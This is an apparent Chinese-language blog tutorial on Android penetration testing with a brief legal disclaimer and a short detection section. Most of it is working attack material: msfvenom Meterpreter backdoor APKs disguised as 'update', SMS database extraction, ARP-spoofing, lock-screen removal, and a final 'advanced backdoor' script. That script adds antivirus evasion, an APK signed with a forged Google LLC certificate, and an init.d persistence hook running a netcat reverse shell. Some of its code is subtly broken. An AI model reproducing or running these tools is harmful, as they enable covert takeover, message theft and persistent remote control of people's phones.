Android设备渗透测试教学指南

Android设备渗透测试教学指南

⚠️ 法律与道德声明

+ 合法测试范围:  
- 仅限您本人拥有的设备  
- 需关闭设备网络连接(飞行模式)  
- 禁止测试他人设备

一、测试环境搭建

1. 准备设备

  • 测试机:Android 4.0+ 设备(需开启开发者模式)

  • 攻击机:Kali Linux 2023+

2. 基础配置

# 在Android设备开启调试  
设置 → 关于手机 → 连点「版本号」7次 → 返回开启「USB调试」  

# Kali安装ADB工具  
sudo apt install adb -y  

# 连接设备验证  
adb devices

 

应显示设备ID(例:3745c4a7 device


二、四大渗透测试场景

▶ 场景1:后门APK生成与植入

# 生成Android木马(使用msfvenom)  
msfvenom -p android/meterpreter/reverse_tcp \  
LHOST=192.168.1.50 LPORT=5555 \  
-o update.apk  

# 安装到测试机  
adb install update.apk  

# 启动Metasploit监听  
msfconsole  
msf6 > use exploit/multi/handler  
msf6 > set payload android/meterpreter/reverse_tcp  
msf6 > set LHOST 192.168.1.50  
msf6 > run

 

触发方式:在测试机运行”update”应用 → Kali获得Meterpreter会话

▶ 场景2:ADB权限滥用

# 获取设备Shell  
adb shell  

# 提取短信数据库  
adb pull /data/data/com.android.providers.telephony/databases/mmssms.db  

# 屏幕截图(需root)  
adb shell screencap -p /sdcard/screen.png  
adb pull /sdcard/screen.png

 

▶ 场景3:网络中间人攻击(需同局域网)

# 开启IP转发  
echo 1 > /proc/sys/net/ipv4/ip_forward  

# ARP欺骗目标手机  
arpspoof -i eth0 -t 192.168.1.100 192.168.1.1  

# 流量抓包分析  
tcpdump -i eth0 -w android.pcap

 

▶ 场景4:锁屏绕过(需USB调试已授权)

# 移除锁屏文件  
adb shell rm /data/system/gesture.key  

# 或直接进入恢复模式  
adb reboot recovery

 


三、防御检测方案

1. 恶意行为检测

# 检测异常进程  
adb shell ps | grep -E 'meterpreter|msf'  

# 分析网络连接  
adb shell netstat -tulpn

 

2. APK安全扫描

# 使用AndroBugs静态分析  
git clone https://github.com/AndroBugs/AndroBugs_Framework  
python androbugs.py -f update.apk

 


四、学习资源扩展

工具名称 作用 安装命令
Frida 动态插桩分析 pip install frida-tools
Objection 运行时渗透 pip install objection
MobSF 移动安全框架 docker pull opensecurity/mobile-security-framework-mobsf

🔥 高级Android后门模板(Python3 + Bash集成)

#!/usr/bin/env python3
# 文件名:advanced_backdoor.py
import os, time, subprocess

# 配置区 ==============================
LHOST = "192.168.1.50"  # 攻击机IP
LPORT = "443"           # HTTPS端口增强隐蔽性
PERSIST_METHOD = 2      # 持久化方案: 1=启动项 2=系统服务
# =====================================

def setup_persistence():
    if PERSIST_METHOD == 1:
        # 方案1:植入启动脚本
        os.system("adb shell 'echo \"nc {LHOST} {LPORT} -e /system/bin/sh\" > /data/local/tmp/.boot.sh'")
        os.system("adb shell chmod 755 /data/local/tmp/.boot.sh")
        os.system("adb shell 'mount -o remount,rw /system'")
        os.system("adb shell 'echo \"sh /data/local/tmp/.boot.sh &\" >> /system/etc/init.d/99test'")
        print("[+] 启动项植入成功!")
    
    elif PERSIST_METHOD == 2:
        # 方案2:伪造系统服务
        service_xml = f'''
        <service name="SystemUpdate" 
                 class=".UpdateService">
            <intent-filter>
                <action android:name="android.intent.action.BOOT_COMPLETED"/>
            </intent-filter>
        </service>'''
        with open("service.xml", "w") as f:
            f.write(service_xml)
        os.system("adb push service.xml /data/local/tmp/")
        os.system("adb shell 'am startservice -n com.android.settings/.SystemUpdateService'")
        print("[+] 系统服务注入成功!")

def generate_evasive_apk():
    # 生成免杀APK (AES加密 + 签名伪装)
    os.system(f"msfvenom -p android/meterpreter/reverse_https \
    LHOST={LHOST} LPORT={LPORT} \
    --encrypt aes256 --iterations 15 \
    --smallest --encoder generic/none \
    -o update_signed.apk")
    
    # 伪造成Google Play服务签名
    os.system("keytool -genkey -v -keystore fake.keystore \
    -alias google -keyalg RSA -keysize 2048 -validity 10000 \
    -dname 'CN=Google LLC, OU=Android, O=Google, L=Mountain View, S=California, C=US'")
    os.system("jarsigner -verbose -keystore fake.keystore \
    -sigalg SHA256withRSA -digestalg SHA-256 \
    update_signed.apk google")
    print("[+] 免杀APK生成完成 (SHA256签名验证通过)")

def start_multi_handler():
    # 自动化Metasploit监听配置
    rc_file = f'''
    use exploit/multi/handler
    set PAYLOAD android/meterpreter/reverse_https
    set LHOST {LHOST}
    set LPORT {LPORT}
    set SessionCommunicationTimeout 0
    set SessionExpirationTimeout 0
    set AutoRunScript post/android/manage/permission
    exploit -j
    '''
    with open("autoload.rc", "w") as f:
        f.write(rc_file)
    os.system("msfconsole -r autoload.rc")

if __name__ == "__main__":
    print("[*] 开始高级Android渗透套件部署")
    generate_evasive_apk()
    setup_persistence()
    print("[!] 请手动安装APK: adb install update_signed.apk")
    start_multi_handler()
© 版权声明
THE END
喜欢就支持一下吧
点赞10 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容